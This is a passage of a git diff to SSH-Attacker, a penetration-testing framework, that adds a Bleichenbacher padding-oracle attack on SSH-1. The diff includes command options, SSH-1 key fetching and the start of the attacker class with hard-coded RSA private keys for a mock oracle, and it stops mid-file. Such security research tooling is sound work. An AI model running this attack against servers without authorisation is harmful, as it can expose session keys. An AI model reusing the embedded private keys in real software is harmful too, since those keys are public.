diff --git a/.idea/jarRepositories.xml b/.idea/jarRepositories.xml
index 12c006d3b..fab48e1dd 100644
--- a/.idea/jarRepositories.xml
+++ b/.idea/jarRepositories.xml
@@ -6,6 +6,11 @@
+
+
+
+
+
diff --git a/.idea/misc.xml b/.idea/misc.xml
index 988888662..762cc98bf 100644
--- a/.idea/misc.xml
+++ b/.idea/misc.xml
@@ -12,7 +12,6 @@
-
-
+
\ No newline at end of file
diff --git a/Attacks/pom.xml b/Attacks/pom.xml
index a21093d1a..19abaaac8 100644
--- a/Attacks/pom.xml
+++ b/Attacks/pom.xml
@@ -4,7 +4,7 @@
de.rub.nds.ssh.attackerssh-attacker
- 1.3.2-SNAPSHOT
+ 2.0.0-SNAPSHOTattacks
diff --git a/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/Main.java b/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/Main.java
index 7645dc2e7..028d39a0b 100644
--- a/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/Main.java
+++ b/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/Main.java
@@ -12,9 +12,11 @@
import com.beust.jcommander.JCommander;
import com.beust.jcommander.JCommander.Builder;
import com.beust.jcommander.ParameterException;
+import de.rub.nds.sshattacker.attacks.config.BleichenbacherCommandConfig;
import de.rub.nds.sshattacker.attacks.config.MangerCommandConfig;
import de.rub.nds.sshattacker.attacks.config.delegate.GeneralAttackDelegate;
import de.rub.nds.sshattacker.attacks.impl.Attacker;
+import de.rub.nds.sshattacker.attacks.impl.BleichenbacherAttacker;
import de.rub.nds.sshattacker.attacks.impl.MangerAttacker;
import de.rub.nds.sshattacker.core.config.SshDelegateConfig;
import de.rub.nds.sshattacker.core.config.delegate.GeneralDelegate;
@@ -38,6 +40,9 @@ public static void main(String[] args) {
MangerCommandConfig mangerTest = new MangerCommandConfig(generalDelegate);
builder.addCommand(MangerCommandConfig.ATTACK_COMMAND, mangerTest);
+ BleichenbacherCommandConfig bbTest = new BleichenbacherCommandConfig(generalDelegate);
+ builder.addCommand(BleichenbacherCommandConfig.ATTACK_COMMAND, bbTest);
+
JCommander jc = builder.build();
try {
@@ -70,6 +75,9 @@ public static void main(String[] args) {
case MangerCommandConfig.ATTACK_COMMAND:
attacker = new MangerAttacker(mangerTest, mangerTest.createConfig());
break;
+ case BleichenbacherCommandConfig.ATTACK_COMMAND:
+ attacker = new BleichenbacherAttacker(bbTest, bbTest.createConfig());
+ break;
default:
break;
}
diff --git a/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/config/BleichenbacherCommandConfig.java b/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/config/BleichenbacherCommandConfig.java
new file mode 100644
index 000000000..753de98a6
--- /dev/null
+++ b/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/config/BleichenbacherCommandConfig.java
@@ -0,0 +1,199 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2022 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.attacks.config;
+
+import com.beust.jcommander.Parameter;
+import com.beust.jcommander.ParametersDelegate;
+import de.rub.nds.sshattacker.attacks.config.delegate.AttackDelegate;
+import de.rub.nds.sshattacker.attacks.pkcs1.KeyLenght;
+import de.rub.nds.sshattacker.attacks.pkcs1.OracleType;
+import de.rub.nds.sshattacker.attacks.pkcs1.util.ManipulationType;
+import de.rub.nds.sshattacker.core.config.Config;
+import de.rub.nds.sshattacker.core.config.delegate.ClientDelegate;
+import de.rub.nds.sshattacker.core.config.delegate.GeneralDelegate;
+import de.rub.nds.sshattacker.core.constants.ProtocolVersion;
+import de.rub.nds.sshattacker.core.layer.constant.LayerConfiguration;
+
+/** Config for Manger's attack */
+public class BleichenbacherCommandConfig extends AttackConfig {
+
+ /** Command line parameter to call the attack */
+ public static final String ATTACK_COMMAND = "bb";
+
+ @ParametersDelegate private final ClientDelegate clientDelegate;
+
+ @ParametersDelegate private final AttackDelegate attackDelegate;
+
+ @Parameter(
+ names = "-encrypted_secret",
+ description =
+ "Encrypted secret from the CMSG_SSH_SESSION_KEY "
+ + " message. You can retrieve this message from the Wireshark traffic. Find the"
+ + " secret message, right click on the \"Encrypted Secret\" value and copy this value as a Hex Stream.")
+ private String encryptedSecret;
+
+ @Parameter(
+ names = {"-cookie", "-c"},
+ description = "Cookie for SessionID Calculation")
+ private String cookie;
+
+ @Parameter(
+ names = {"-benchmark", "-b"},
+ description =
+ "If this value is set the Attack is Benchmarked, all Encrypted-Secrets are randomly generated")
+ private boolean benchmark;
+
+ @Parameter(
+ names = "-classic",
+ description =
+ "If this value is set the Attack is run in 'classic' mode, so no algorithm_improvements are used")
+ private boolean classic = false;
+
+ @Parameter(
+ names = {"-keyLenght", "-k"},
+ description =
+ "Sets the oracle type for the attack, if real, the connection will be queried, otherwise it will be handeled as mock oracle. In case of the mock oracle, short means 1024 and 768 bit keys, long means 2048 and 1024 bit keys")
+ private KeyLenght keyLenght = KeyLenght.REAL;
+
+ @Parameter(
+ names = {"-oracleType", "-o"},
+ required = false,
+ description =
+ "Sets the oracle type for the attack, if real, the connection will be queried, otherwise it will be handeled as mock oracle")
+ private OracleType oracleType = OracleType.REAL;
+
+ @Parameter(
+ names = {"-sendSinglePacket", "-s"},
+ required = false,
+ description =
+ "If set, the string after this parameter will be send as packet directly to the oracle")
+ private String sendSinglePacket = "";
+
+ @Parameter(
+ names = {"-inner"},
+ required = false,
+ description = "Choose if inner padding should be maniulated")
+ private boolean inner = false;
+
+ @Parameter(
+ names = {"-outer"},
+ required = false,
+ description = "Choose if inner padding should be maniulated")
+ private boolean outer = false;
+
+ @Parameter(names = "-timing", required = false, description = "Run as Timing-Attack")
+ private boolean timing = false;
+
+ /** How many rescans should be done */
+ @Parameter(
+ names = "-intervall",
+ description = "define, how often the timing-attack should be tested")
+ private int intervall = 1000;
+
+ @Parameter(names = "-manipulationType", description = "Highest supported protocol version ")
+ private ManipulationType manipulationType = null;
+
+ /** How many rescans should be done */
+ private int numberOfIterations = 3;
+
+ public BleichenbacherCommandConfig(GeneralDelegate delegate) {
+ super(delegate);
+ clientDelegate = new ClientDelegate();
+ attackDelegate = new AttackDelegate();
+ addDelegate(clientDelegate);
+ addDelegate(attackDelegate);
+ }
+
+ @Override
+ public Config createConfig() {
+ Config config = super.createConfig();
+ config.setStopActionsAfterIOException(true);
+ config.setWorkflowExecutorShouldClose(false);
+ config.setProtocolVersion(ProtocolVersion.SSH1);
+ config.setDefaultLayerConfiguration(LayerConfiguration.SSHV1);
+ config.setClientVersion("SSH-1.7-OpenSSH_6.2p1");
+ config.setDoNotEncryptMessages(true);
+ config.setStopActionsAfterDisconnect(false);
+ config.setStopReceivingAfterDisconnect(false);
+
+ return config;
+ }
+
+ @Override
+ public boolean isExecuteAttack() {
+ return attackDelegate.isExecuteAttack();
+ }
+
+ public String getEncryptedSecret() {
+ return encryptedSecret;
+ }
+
+ public void setEncryptedSecret(String encryptedSecret) {
+ this.encryptedSecret = encryptedSecret;
+ }
+
+ public int getNumberOfIterations() {
+ return numberOfIterations;
+ }
+
+ public void setNumberOfIterations(int mapListDepth) {
+ numberOfIterations = mapListDepth;
+ }
+
+ public boolean isBenchmark() {
+ return benchmark;
+ }
+
+ public void setBenchmark(boolean benchmark) {
+ this.benchmark = benchmark;
+ }
+
+ public String getCookie() {
+ return cookie;
+ }
+
+ public void setCookie(String cookie) {
+ this.cookie = cookie;
+ }
+
+ public KeyLenght getKeyLenght() {
+ return keyLenght;
+ }
+
+ public OracleType getOracleType() {
+ return oracleType;
+ }
+
+ public String getSendSinglePacket() {
+ return sendSinglePacket;
+ }
+
+ public boolean isClassic() {
+ return classic;
+ }
+
+ public boolean isInner() {
+ return inner;
+ }
+
+ public boolean isOuter() {
+ return outer;
+ }
+
+ public boolean isTiming() {
+ return timing;
+ }
+
+ public int getIntervall() {
+ return intervall;
+ }
+
+ public ManipulationType getManipulationType() {
+ return manipulationType;
+ }
+}
diff --git a/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/general/KeyFetcher.java b/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/general/KeyFetcher.java
index 533cc9e02..e1c133ddd 100644
--- a/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/general/KeyFetcher.java
+++ b/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/general/KeyFetcher.java
@@ -7,19 +7,28 @@
*/
package de.rub.nds.sshattacker.attacks.general;
+import de.rub.nds.modifiablevariable.VariableModification;
+import de.rub.nds.modifiablevariable.string.StringModificationFactory;
import de.rub.nds.sshattacker.core.config.Config;
+import de.rub.nds.sshattacker.core.constants.MessageIdConstantSSH1;
+import de.rub.nds.sshattacker.core.constants.ProtocolVersion;
import de.rub.nds.sshattacker.core.constants.RunningModeType;
+import de.rub.nds.sshattacker.core.crypto.keys.CustomRsaPublicKey;
import de.rub.nds.sshattacker.core.protocol.common.ProtocolMessage;
+import de.rub.nds.sshattacker.core.protocol.ssh1.general.message.DisconnectMessageSSH1;
+import de.rub.nds.sshattacker.core.protocol.ssh1.server.message.ServerPublicKeyMessage;
import de.rub.nds.sshattacker.core.protocol.transport.message.RsaKeyExchangePubkeyMessage;
import de.rub.nds.sshattacker.core.state.State;
import de.rub.nds.sshattacker.core.workflow.DefaultWorkflowExecutor;
import de.rub.nds.sshattacker.core.workflow.WorkflowExecutor;
import de.rub.nds.sshattacker.core.workflow.WorkflowTrace;
import de.rub.nds.sshattacker.core.workflow.action.ReceiveAction;
+import de.rub.nds.sshattacker.core.workflow.action.SendAction;
import de.rub.nds.sshattacker.core.workflow.factory.WorkflowConfigurationFactory;
import de.rub.nds.sshattacker.core.workflow.factory.WorkflowTraceType;
import java.io.IOException;
import java.security.interfaces.RSAPublicKey;
+import java.util.ArrayList;
import java.util.List;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
@@ -33,65 +42,173 @@ private KeyFetcher() {
super();
}
- /**
- * Fetches the transient public key from an RSA key-exchange.
- *
- * @param config Config object which is used to instantiate the underlying SSH attacker.
- * @return The transient public key used during key exchange.
- */
+ /** Fetches the transient public key from an RSA key-exchange */
public static RSAPublicKey fetchRsaTransientKey(Config config) {
- return fetchRsaTransientKey(config, 0, 5);
+ if (config.getProtocolVersion() == ProtocolVersion.SSH2) {
+ return fetchRsaTransientKey(config, 0, 5, ProtocolVersion.SSH2);
+ } else if (config.getProtocolVersion() == ProtocolVersion.SSH1) {
+ return fetchRsaTransientKey(config, 0, 5, ProtocolVersion.SSH1);
+ } else {
+ return null;
+ }
}
public static RSAPublicKey fetchRsaTransientKey(Config config, int maxAttempts) {
- return fetchRsaTransientKey(config, 0, maxAttempts);
+ return fetchRsaTransientKey(config, 0, maxAttempts, ProtocolVersion.SSH2);
}
- private static RSAPublicKey fetchRsaTransientKey(Config config, int attempt, int maxAttempts) {
+ private static RSAPublicKey fetchRsaTransientKey(
+ Config config, int attempt, int maxAttempts, ProtocolVersion version) {
WorkflowConfigurationFactory factory = new WorkflowConfigurationFactory(config);
+
+ if (version == ProtocolVersion.SSH2) {
+ WorkflowTrace trace =
+ factory.createWorkflowTrace(
+ WorkflowTraceType.KEX_INIT_ONLY, RunningModeType.CLIENT);
+
+ ReceiveAction receiveAction = new ReceiveAction(new RsaKeyExchangePubkeyMessage());
+ trace.addSshAction(receiveAction);
+
+ State state = new State(config, trace);
+ WorkflowExecutor workflowExecutor = new DefaultWorkflowExecutor(state);
+ try {
+ workflowExecutor.executeWorkflow();
+
+ if (!state.getSshContext().getTransportHandler().isClosed()) {
+ state.getSshContext().getTransportHandler().closeConnection();
+ }
+ } catch (IOException e) {
+ if (attempt < maxAttempts) {
+ LOGGER.debug(
+ String.format(
+ "Encountered IOException on socket in attempt %d, retrying...",
+ attempt));
+ return fetchRsaTransientKey(config, attempt + 1, maxAttempts, version);
+ } else {
+ LOGGER.warn("Could not fetch server's RSA host key, encountered IOException");
+ LOGGER.debug(e);
+ return null;
+ }
+ }
+
+ List> receivedMessages = receiveAction.getReceivedMessages();
+
+ if (!receivedMessages.isEmpty()
+ && receivedMessages.get(0) instanceof RsaKeyExchangePubkeyMessage) {
+ return ((RsaKeyExchangePubkeyMessage) receivedMessages.get(0))
+ .getTransientPublicKey()
+ .getPublicKey();
+ } else {
+ if (attempt < maxAttempts) {
+ LOGGER.debug(
+ String.format(
+ "Did not receive PubkeyMessage in attempt %d, retrying...",
+ attempt));
+ return fetchRsaTransientKey(config, attempt + 1, maxAttempts, version);
+ } else {
+ LOGGER.warn(
+ "Could not fetch server's RSA host key, did not receive PubkeyMessage.");
+ return null;
+ }
+ }
+ } else {
+ WorkflowTrace trace =
+ factory.createWorkflowTrace(
+ WorkflowTraceType.KEX_SSH1_ONLY, RunningModeType.CLIENT);
+
+ ReceiveAction receiveAction = new ReceiveAction(new ServerPublicKeyMessage());
+ trace.addSshAction(receiveAction);
+
+ State state = new State(config, trace);
+ WorkflowExecutor workflowExecutor = new DefaultWorkflowExecutor(state);
+
+ workflowExecutor.executeWorkflow();
+
+ List> receivedMessages = receiveAction.getReceivedMessages();
+
+ if (!receivedMessages.isEmpty()
+ && receivedMessages.get(0) instanceof ServerPublicKeyMessage) {
+ return ((ServerPublicKeyMessage) receivedMessages.get(0))
+ .getServerKey()
+ .getPublicKey();
+ } else {
+ if (attempt < maxAttempts) {
+ LOGGER.debug(
+ String.format(
+ "Did not receive PubkeyMessage in attempt %d, retrying...",
+ attempt));
+ return fetchRsaTransientKey(config, attempt + 1, maxAttempts, version);
+ } else {
+ LOGGER.warn(
+ "Could not fetch server's RSA host key, did not receive PubkeyMessage.");
+ return null;
+ }
+ }
+ }
+ }
+
+ public static List fetchRsaSsh1Keys(Config config) {
+ return fetchRsaSsh1Keys(config, 0, 5);
+ }
+
+ public static List fetchRsaSsh1Keys(
+ Config config, int attempt, int maxAttempts) {
+ WorkflowConfigurationFactory factory = new WorkflowConfigurationFactory(config);
+
WorkflowTrace trace =
factory.createWorkflowTrace(
- WorkflowTraceType.KEX_INIT_ONLY, RunningModeType.CLIENT);
+ WorkflowTraceType.KEX_SSH1_ONLY, RunningModeType.CLIENT);
- ReceiveAction receiveAction = new ReceiveAction(new RsaKeyExchangePubkeyMessage());
+ ReceiveAction receiveAction = new ReceiveAction(new ServerPublicKeyMessage());
trace.addSshAction(receiveAction);
+ DisconnectMessageSSH1 disconnectMessage = new DisconnectMessageSSH1();
+ disconnectMessage.setDisconnectReason("fetching Keys");
+ VariableModification newValue =
+ StringModificationFactory.explicitValue("fetching Keys");
+ disconnectMessage.getDisconnectReason().setModification(newValue);
+
+ LOGGER.debug(disconnectMessage.getDisconnectReason());
+ LOGGER.debug(disconnectMessage.toShortString());
+
+ disconnectMessage.setMessageId(MessageIdConstantSSH1.SSH_MSG_DISCONNECT.getId());
+ SendAction disconnectAction = new SendAction(disconnectMessage);
+ trace.addSshAction(disconnectAction);
+
State state = new State(config, trace);
WorkflowExecutor workflowExecutor = new DefaultWorkflowExecutor(state);
- try {
- workflowExecutor.executeWorkflow();
- if (!state.getSshContext().getTransportHandler().isClosed()) {
- state.getSshContext().getTransportHandler().closeConnection();
- }
- } catch (IOException e) {
- if (attempt < maxAttempts) {
- LOGGER.debug(
- String.format(
- "Encountered IOException on socket in attempt %d, retrying...",
- attempt));
- return fetchRsaTransientKey(config, attempt + 1, maxAttempts);
- } else {
- LOGGER.warn("Could not fetch server's RSA host key, encountered IOException");
- LOGGER.debug(e);
- return null;
- }
- }
+ workflowExecutor.executeWorkflow();
List> receivedMessages = receiveAction.getReceivedMessages();
+ LOGGER.info(receivedMessages.size());
+ LOGGER.info(receivedMessages.get(0).toString());
if (!receivedMessages.isEmpty()
- && receivedMessages.get(0) instanceof RsaKeyExchangePubkeyMessage) {
- return ((RsaKeyExchangePubkeyMessage) receivedMessages.get(0))
- .getTransientPublicKey()
- .getPublicKey();
+ && receivedMessages.get(0) instanceof ServerPublicKeyMessage) {
+
+ List rsaPublicKeys = new ArrayList<>();
+
+ rsaPublicKeys.add(
+ ((ServerPublicKeyMessage) receivedMessages.get(0))
+ .getServerKey()
+ .getPublicKey());
+ rsaPublicKeys.add(
+ ((ServerPublicKeyMessage) receivedMessages.get(0)).getHostKey().getPublicKey());
+
+ return rsaPublicKeys;
} else {
if (attempt < maxAttempts) {
LOGGER.debug(
String.format(
"Did not receive PubkeyMessage in attempt %d, retrying...",
attempt));
- return fetchRsaTransientKey(config, attempt + 1, maxAttempts);
+ try {
+ Thread.sleep(5000);
+ } catch (InterruptedException e) {
+ throw new RuntimeException(e);
+ }
+ return fetchRsaSsh1Keys(config, attempt + 1, maxAttempts);
} else {
LOGGER.warn(
"Could not fetch server's RSA host key, did not receive PubkeyMessage.");
diff --git a/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/impl/BleichenbacherAttacker.java b/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/impl/BleichenbacherAttacker.java
new file mode 100644
index 000000000..beb64f8bc
--- /dev/null
+++ b/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/impl/BleichenbacherAttacker.java
@@ -0,0 +1,773 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2022 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.attacks.impl;
+
+import static de.rub.nds.tlsattacker.util.ConsoleLogger.CONSOLE;
+
+import de.rub.nds.modifiablevariable.bytearray.ByteArrayModificationFactory;
+import de.rub.nds.modifiablevariable.bytearray.ModifiableByteArray;
+import de.rub.nds.modifiablevariable.util.ArrayConverter;
+import de.rub.nds.sshattacker.attacks.config.BleichenbacherCommandConfig;
+import de.rub.nds.sshattacker.attacks.general.KeyFetcher;
+import de.rub.nds.sshattacker.attacks.pkcs1.*;
+import de.rub.nds.sshattacker.attacks.pkcs1.oracles.BleichenbacherOracle;
+import de.rub.nds.sshattacker.attacks.pkcs1.oracles.Pkcs1Oracle;
+import de.rub.nds.sshattacker.attacks.pkcs1.oracles.Ssh1MockOracle;
+import de.rub.nds.sshattacker.attacks.pkcs1.util.PkcsManipulator;
+import de.rub.nds.sshattacker.core.config.Config;
+import de.rub.nds.sshattacker.core.constants.RunningModeType;
+import de.rub.nds.sshattacker.core.crypto.cipher.AbstractCipher;
+import de.rub.nds.sshattacker.core.crypto.cipher.CipherFactory;
+import de.rub.nds.sshattacker.core.crypto.keys.CustomRsaPrivateKey;
+import de.rub.nds.sshattacker.core.crypto.keys.CustomRsaPublicKey;
+import de.rub.nds.sshattacker.core.exceptions.ConfigurationException;
+import de.rub.nds.sshattacker.core.exceptions.CryptoException;
+import de.rub.nds.sshattacker.core.exceptions.WorkflowExecutionException;
+import de.rub.nds.sshattacker.core.protocol.common.ProtocolMessage;
+import de.rub.nds.sshattacker.core.protocol.ssh1.client.message.ClientSessionKeyMessage;
+import de.rub.nds.sshattacker.core.protocol.ssh1.server.message.ServerPublicKeyMessage;
+import de.rub.nds.sshattacker.core.state.State;
+import de.rub.nds.sshattacker.core.workflow.DefaultWorkflowExecutor;
+import de.rub.nds.sshattacker.core.workflow.ParallelExecutor;
+import de.rub.nds.sshattacker.core.workflow.WorkflowExecutor;
+import de.rub.nds.sshattacker.core.workflow.WorkflowTrace;
+import de.rub.nds.sshattacker.core.workflow.action.GenericReceiveAction;
+import de.rub.nds.sshattacker.core.workflow.action.ReceiveAction;
+import de.rub.nds.sshattacker.core.workflow.action.SendAction;
+import de.rub.nds.sshattacker.core.workflow.factory.WorkflowConfigurationFactory;
+import de.rub.nds.sshattacker.core.workflow.factory.WorkflowTraceType;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.math.BigInteger;
+import java.nio.charset.StandardCharsets;
+import java.security.*;
+import java.time.LocalDateTime;
+import java.time.format.DateTimeFormatter;
+import java.util.*;
+import javax.crypto.NoSuchPaddingException;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import org.json.simple.JSONObject;
+
+/**
+ * Sends differently formatted PKCS#1 v2.x messages to the SSH server and observes the server
+ * responses. In case there are differences in the server responses, it is very likely that it is
+ * possible to execute Manger's attack.
+ */
+public class BleichenbacherAttacker extends Attacker {
+
+ private static final Logger LOGGER = LogManager.getLogger();
+
+ private final Config sshConfig;
+
+ private final List publicKeys = new ArrayList<>();
+ private CustomRsaPublicKey serverPublicKey, hostPublicKey;
+ private CustomRsaPrivateKey serverPrivateKey, hostPrivateKey;
+
+ // Host 2048
+ private final CustomRsaPrivateKey hostPrivatKey2048 =
+ new CustomRsaPrivateKey(
+ new BigInteger(
+ "636A1F6A55D578A42B8CD473FB52C449EA45BCF7366B53DA692E160344C822100D39A7DD328F3E169F04E9430AAF8837BA9AC5429F558DD70368A78EED395B74F5B25D795AB55307250F4C833AFF5D00A9E09141B641A8F8CABFA4476529A0A96FEAF9458BDA645F3669F38F936A4C595A552192E3BAE4E7DF6269BD5AF0ACF3057AD089374B1C6A8B5421F8543DE8621BED4C77BDA4910F47949EB060FE18A91B1D72A2CB18B9905C1F5D0D5931B58565BF12EF1E42077998B42DF52A26E61E18A8A51262AE3E64D694C822E68DEEA837B74AAF924A6530A904FB34FD337B7F519E1D2E957B0EB8DDD8F4F17A3781F96AD8C0FAE25ADAAF463E24C8D6F107CB",
+ 16),
+ new BigInteger(
+ "00DB293E00310C505B740A85E2E68E4C3DCC9D14841304B0F128A52838D2EFB8148EBCE158D0E0EE8C50191413A68444A8ECF816E22E149519AF6BE96AEB7EA5BE66948750A44AA3E291446AC8C47667A76E9E3512D9A4F24A5B1A30FF9842A1E8D96BB734707AD5412C2A0EA4C8F38F1A725ED15DA9BD35384C7409B1BCF1C071E3C7F9F4B9EA27D970741B5893B7E248B89D5818E618616D3377D38A6D19F22D5764617E82641D24295E126045FBAADE8DCB8C457DDA23B8126A768666CCF56C71B1A7D43E18F52A63933562D6F502315FDE205C90260A0187F82E6158F59BBB5F1F2F964A9FDE2B1D93252C47F58D5D2631988242449B79381020AC1D0B64E1",
+ 16));
+ private final CustomRsaPublicKey hostPublicKey2048 =
+ new CustomRsaPublicKey(
+ new BigInteger("010001", 16),
+ new BigInteger(
+ "00DB293E00310C505B740A85E2E68E4C3DCC9D14841304B0F128A52838D2EFB8148EBCE158D0E0EE8C50191413A68444A8ECF816E22E149519AF6BE96AEB7EA5BE66948750A44AA3E291446AC8C47667A76E9E3512D9A4F24A5B1A30FF9842A1E8D96BB734707AD5412C2A0EA4C8F38F1A725ED15DA9BD35384C7409B1BCF1C071E3C7F9F4B9EA27D970741B5893B7E248B89D5818E618616D3377D38A6D19F22D5764617E82641D24295E126045FBAADE8DCB8C457DDA23B8126A768666CCF56C71B1A7D43E18F52A63933562D6F502315FDE205C90260A0187F82E6158F59BBB5F1F2F964A9FDE2B1D93252C47F58D5D2631988242449B79381020AC1D0B64E1",
+ 16));
+ // Server 1024
+ private final CustomRsaPrivateKey serverPrivateKey1024 =
+ new CustomRsaPrivateKey(
+ new BigInteger(
+ "00A715E8718E5BC9595B480711D78DD285D4C8B8710B7EEC9F59D0846E19A02E6A2C37C04DD842488F525D9DE1905ED7EE2A41584FE90AFED5DB9008BBCAF5A9C8B23B5D08B49AFB05D83309A0ABAA71E2EBC01772CCD0283C11136E8425CF488152397213DE39303E64A1879B922DC7FA809691E54523AA93B6012789713AF61D",
+ 16),
+ new BigInteger(
+ "00BAF37C20A26F75481D0FD852AF9E5A211999E1AF345D3C05D98BF851B45AC95D4F9E80AB4BAB441F7FAA5647F57A3306E6EA370811D84544EC057DA42C0B6FD2597F01C91D09AB07C0CA159F1E461F07F7DDF92451F35236AFBE3026AC149A0FCDD3FF54CA707D09C56B8C6F9A751C7325E2916542F0DE2B452EC7871FD81355",
+ 16));
+ private final CustomRsaPublicKey serverPublicKey1024 =
+ new CustomRsaPublicKey(
+ new BigInteger("010001", 16),
+ new BigInteger(
+ "00BAF37C20A26F75481D0FD852AF9E5A211999E1AF345D3C05D98BF851B45AC95D4F9E80AB4BAB441F7FAA5647F57A3306E6EA370811D84544EC057DA42C0B6FD2597F01C91D09AB07C0CA159F1E461F07F7DDF92451F35236AFBE3026AC149A0FCDD3FF54CA707D09C56B8C6F9A751C7325E2916542F0DE2B452EC7871FD81355",
+ 16));
+
+ // Host 1024
+ private final CustomRsaPublicKey hostPublicKey1024 =
+ new CustomRsaPublicKey(
+ new BigInteger("010001", 16),
+ new BigInteger(
+ "00C6D5D18B3BDCA91AE922941730D7"
+ + "BFF6F959CACC67609C571CA281148B"
+ + "97F8CA742B85E9FABAF308E6BFED40"
+ + "06B639159E19CCCD3FFF4374E905B3"
+ + "D4FEE6B3F8867940FDAD622FF59E7E"
+ + "8E7801C29D5BEB6004E1F127C1B37B"
+ + "5BEDFF057F06FB133A21DA77B2B9FA"
+ + "9E4CF72740F0049B30DC1CE23EB2B7"
+ + "E6E92B129E1EFE67E3",
+ 16));
+ private final CustomRsaPrivateKey hostPrivatKey1024 =
+ new CustomRsaPrivateKey(
+ new BigInteger(
+ "0092FAA9AC0FB31CBA0CCE07C460D1"
+ + "8B5088A02C7E0E88E6E8A9FD2207CA"
+ + "ECAAF7150ABB31EBAAD84EA32C0AB7"
+ + "C27E5F1230CD878BCD9BE7047BE040"
+ + "3FD9B13624D9C822AB17C96615BB5A"
+ + "875D1A076D282B2E9035FAC37DB066"
+ + "82C8498BA624C77B0E1E2ECBE7AB5A"
+ + "5A0342E20C54482D149A7F37F8EF4A"
+ + "2C148CD3ADD6782189",
+ 16),
+ new BigInteger(
+ "00C6D5D18B3BDCA91AE922941730D7"
+ + "BFF6F959CACC67609C571CA281148B"
+ + "97F8CA742B85E9FABAF308E6BFED40"
+ + "06B639159E19CCCD3FFF4374E905B3"
+ + "D4FEE6B3F8867940FDAD622FF59E7E"
+ + "8E7801C29D5BEB6004E1F127C1B37B"
+ + "5BEDFF057F06FB133A21DA77B2B9FA"
+ + "9E4CF72740F0049B30DC1CE23EB2B7"
+ + "E6E92B129E1EFE67E3",
+ 16));
+ // Server 768 Bit
+ private final CustomRsaPublicKey serverPublicKey768 =
+ new CustomRsaPublicKey(
+ new BigInteger("010001", 16),
+ new BigInteger(
+ "00CB2C65943BB603C0072D4C5AFD8B"
+ + "C5155D57231F02D191A079A3758BCF"
+ + "96E83318F0729D05437B543088D8A1"
+ + "73675EE40E7506EFB09EDD62C868C5"
+ + "27DB0768AB643AD09A7C42C6AD47DA"
+ + "ACE6CD53C051E26E69AF472D0CFE17"
+ + "322EC96499E529",
+ 16));
+ private final CustomRsaPrivateKey serverPrivateKey768 =
+ new CustomRsaPrivateKey(
+ new BigInteger(
+ "00B30F82CADCC13296E7FC5D420819"
+ + "49EDE560A99C68208906F48D4248A1"
+ + "00EFCE30D9A1398FED04619390D7D3"
+ + "9AE0ECB7DFB6A5EC8CA6A491097680"
+ + "9280CB64AF1F8C8B67739CF7093B34"
+ + "4343419647B331CD9827953279BE6C"
+ + "AC31C55BA6EF01",
+ 16),
+ new BigInteger(
+ "00CB2C65943BB603C0072D4C5AFD8B"
+ + "C5155D57231F02D191A079A3758BCF"
+ + "96E83318F0729D05437B543088D8A1"
+ + "73675EE40E7506EFB09EDD62C868C5"
+ + "27DB0768AB643AD09A7C42C6AD47DA"
+ + "ACE6CD53C051E26E69AF472D0CFE17"
+ + "322EC96499E529",
+ 16));
+
+ // Test
+ // Host 2048
+ private final CustomRsaPrivateKey hostPrivatKeyCustom =
+ new CustomRsaPrivateKey(
+ new BigInteger(
+ "36BDABD4DC5CE64FAF60420BE9DB5D534CB1A5D7E4BE3BC455B71907EE5C9B69F6DCA7D326DFFD352E11BE3A02BFF5F801F97C54A813D373EE23D86374C4D5F010C2A964FF2945B3D988B1337B713F5831DA28C30D3A5986DAF6E7F7E4F4775957A3CBFBAEAE84E3A0A2AFE1D59C293903D2B39852C82AEB7B23ED0704D1FE69",
+ 16),
+ new BigInteger(
+ "AB81705A90C69618E388795B521C2353E7E0B37B133D7780593C068C3E39D5D57CD67F07E3D76B3EF8213E2494732579223644A88CE48E5A3D6EEF208B20CEA5F50A99D42B0A915C765654175D35C9BC4DBC4432B499D890ED79315BAB7B3485595154A87F2F040B8ACC654A93A9C51F418163BDB3A2D57A092F7FBC10B4BF1D",
+ 16));
+ private final CustomRsaPublicKey hostPublicKeyCustom =
+ new CustomRsaPublicKey(
+ new BigInteger("010001", 16),
+ new BigInteger(
+ "AB81705A90C69618E388795B521C2353E7E0B37B133D7780593C068C3E39D5D57CD67F07E3D76B3EF8213E2494732579223644A88CE48E5A3D6EEF208B20CEA5F50A99D42B0A915C765654175D35C9BC4DBC4432B499D890ED79315BAB7B3485595154A87F2F040B8ACC654A93A9C51F418163BDB3A2D57A092F7FBC10B4BF1D",
+ 16));
+ // Server 1024
+ private final CustomRsaPrivateKey serverPrivateKeyCustom =
+ new CustomRsaPrivateKey(
+ new BigInteger(
+ "ABE6304FAE535001BBFA94474FA4178C012058518A93805A25EFD56932C365724B422CDE3EE038243367AE3C57876CE297E66531B2F027B1407DE77758200761FFE5F96360BE21DDB7ECAD61523319A8DAA65B5F00CF52F0DB2F3A2A929EDA11",
+ 16),
+ new BigInteger(
+ "CC8E8480EB2E26580EA260146575CB10D215F71A46BBB62C98D854154579E372E193102FF359799C4D247A661F32C082EE5C1919B43889214C8310E6291E2B0B16818464BAE5A0374CACA0EB4814756B71C3E1F459AB4B8DE555D338CA30557F",
+ 16));
